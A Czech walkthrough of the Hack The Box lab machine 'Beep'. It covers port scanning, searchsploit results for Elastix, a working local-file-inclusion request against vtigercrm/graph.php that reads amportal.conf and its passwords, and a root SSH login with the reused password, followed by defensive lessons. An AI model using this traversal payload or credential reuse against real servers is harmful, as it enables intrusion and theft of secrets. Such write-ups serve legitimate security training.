Beep
Úvod a kontext
Beep je dobrá ukázka prostředí s velkou attack surface, kde ale skutečný průlom stojí na jednom přesně zvoleném souboru. Zranitelnost graph.php ve vtigercrm nevede rovnou ke shellu, ale dovolí přečíst amportal.conf, a právě ten obsahuje hesla, která propojí webovou vrstvu Elastixu, Asterisk i samotný operační systém.
Didakticky je tady důležitý kontrast mezi množstvím otevřených portů a jednoduchostí skutečné cesty dovnitř. Není potřeba rozebírat celý PBX stack; stačí pochopit, která konfigurační data mají nejvyšší hodnotu a jak se z LFI stane přímé SSH přihlášení jako root.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey:
| 1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)
|_ 2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)
25/tcp open smtp Postfix smtpd
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN
80/tcp open http Apache httpd 2.2.3
|_http-server-header: Apache/2.2.3 (CentOS)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to https://10.10.10.7/
110/tcp open pop3 Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_pop3-capabilities: APOP LOGIN-DELAY(0) UIDL TOP EXPIRE(NEVER) IMPLEMENTATION(Cyrus POP3 server v2) PIPELINING AUTH-RESP-CODE USER RESP-CODES STLS
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 875/udp status
|_ 100024 1 878/tcp status
143/tcp open imap Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
|_imap-capabilities: THREAD=ORDEREDSUBJECT RIGHTS=kxte URLAUTHA0001 CONDSTORE X-NETSCAPE LIST-SUBSCRIBED IMAP4 UNSELECT ATOMIC MAILBOX-REFERRALS ACL LISTEXT UIDPLUS SORT ID STARTTLS CHILDREN ANNOTATEMORE THREAD=REFERENCES QUOTA Completed SORT=MODSEQ IMAP4rev1 BINARY CATENATE MULTIAPPEND OK LITERAL+ NAMESPACE IDLE NO RENAME
443/tcp open ssl/http Apache httpd 2.2.3 ((CentOS))
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
[... výstup zkrácen ...]
4190/tcp open sieve Cyrus timsieved 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4 (included w/cyrus imap)
4445/tcp open upnotifyp?
4559/tcp open hylafax HylaFAX 4.3.10
5038/tcp open asterisk Asterisk Call Manager 1.1
10000/tcp open http MiniServ 1.570 (Webmin httpd)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
|_http-favicon: Unknown favicon MD5: __CENSORED__
Service Info: Hosts: beep.localdomain, 127.0.0.1, example.com, localhost; OS: Unix
Analýza zjištění
Identifikace a hledání exploitu
Zjišťuji technologii a ověřuji známé zranitelnosti.
searchsploit elastix
Elastix - 'page' Cross-Site Scripting | php/webapps/38078.py
Elastix - Multiple Cross-Site Scripting Vulnerabilities | php/webapps/38544.txt
Elastix 2.0.2 - Multiple Cross-Site Scripting Vulnerabilities | php/webapps/34942.txt
Elastix 2.2.0 - 'graph.php' Local File Inclusion | php/webapps/37637.pl
Elastix 2.x - Blind SQL Injection | php/webapps/36305.txt
Elastix < 2.5 - PHP Code Injection | php/webapps/38091.php
FreePBX 2.10.0 / Elastix 2.2.0 - Remote Code Execution | php/webapps/18650.py
Získání přístupu
Čtení amportal.conf přes LFI
Z nabídky nalezených chyb je zde nejpraktičtější LFI v vtigercrm/graph.php. Nejde o efektní RCE, ale o čtení souboru s konfiguračními tajemstvími, což je v tomto prostředí ještě cennější.
Elastix 2.2.0 - 'graph.php' Local File Inclusion | php/webapps/37637.pl
view-source:https://10.10.10.7/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
AMPDBHOST=localhost
AMPDBENGINE=mysql
AMPDBUSER=asteriskuser
AMPDBPASS=jEhdIekWmdjE
AMPENGINE=asterisk
AMPMGRUSER=admin
AMPMGRPASS=jEhdIekWmdjE
Přihlášení na cíl
Heslo z AMPMGRPASS funguje i pro systémový účet root. Jedinou praktickou komplikací je zastaralý SSH stack, takže je potřeba povolit starý key exchange algoritmus.
ssh root@10.10.10.7 -oKexAlgorithms=+diffie-hellman-group1-sha1 # Pass: jEhdIekWmdjE
Získání user flagu
Protože přihlášení proběhlo rovnou jako root, user.txt jen potvrzuje dopad kompromitace na běžný účet fanis.
ssh root@10.10.10.7 -oKexAlgorithms=+diffie-hellman-group1-sha1 # Pass: jEhdIekWmdjE
[root@beep ~]# cat /home/fanis/user.txt
__CENSORED__
Eskalace oprávnění
Získání root flagu
V tomto případě nejde o samostatný privilege escalation krok. Privilegovaný přístup vznikl už reuse hesla mezi správou Elastixu a systémovým účtem root.
ssh root@10.10.10.7 -oKexAlgorithms=+diffie-hellman-group1-sha1 # Pass: jEhdIekWmdjE
[root@beep ~]# cat root.txt
__CENSORED__
Shrnutí klíčových poznatků
- Rozhodující nebyla šíře služeb na hostu, ale LFI v
vtigercrm/graph.php, která otevřela čteníamportal.conf. - Nejcennějším nálezem nebylo databázové heslo, ale
AMPMGRPASS, protože stejné tajemství fungovalo i pro SSH přihlášení jakoroot. - Root zde nevzniká další eskalací, ale chybným reuse přihlašovacích údajů mezi telefonní aplikací a operačním systémem.
Co si odnést do praxe
- Konfigurační soubory typu
amportal.confje potřeba chránit jako vysoce citlivá tajemství. Jakmile jsou dosažitelné přes LFI, útočník často nepotřebuje RCE, protože si vyčte hesla přímo. - Hesla pro správu telefonní platformy nesmějí být reuseovaná na systémových účtech. Pokud stejné tajemství otevře Asterisk i
root@ssh, webová chyba se okamžitě mění v plnou kompromitaci hostu. - Staré SSH konfigurace a kompatibilní KEX algoritmy mají být z internetu pryč. I když nejsou prvotní chybou, snižují tření útočníka ve chvíli, kdy už heslo uniklo.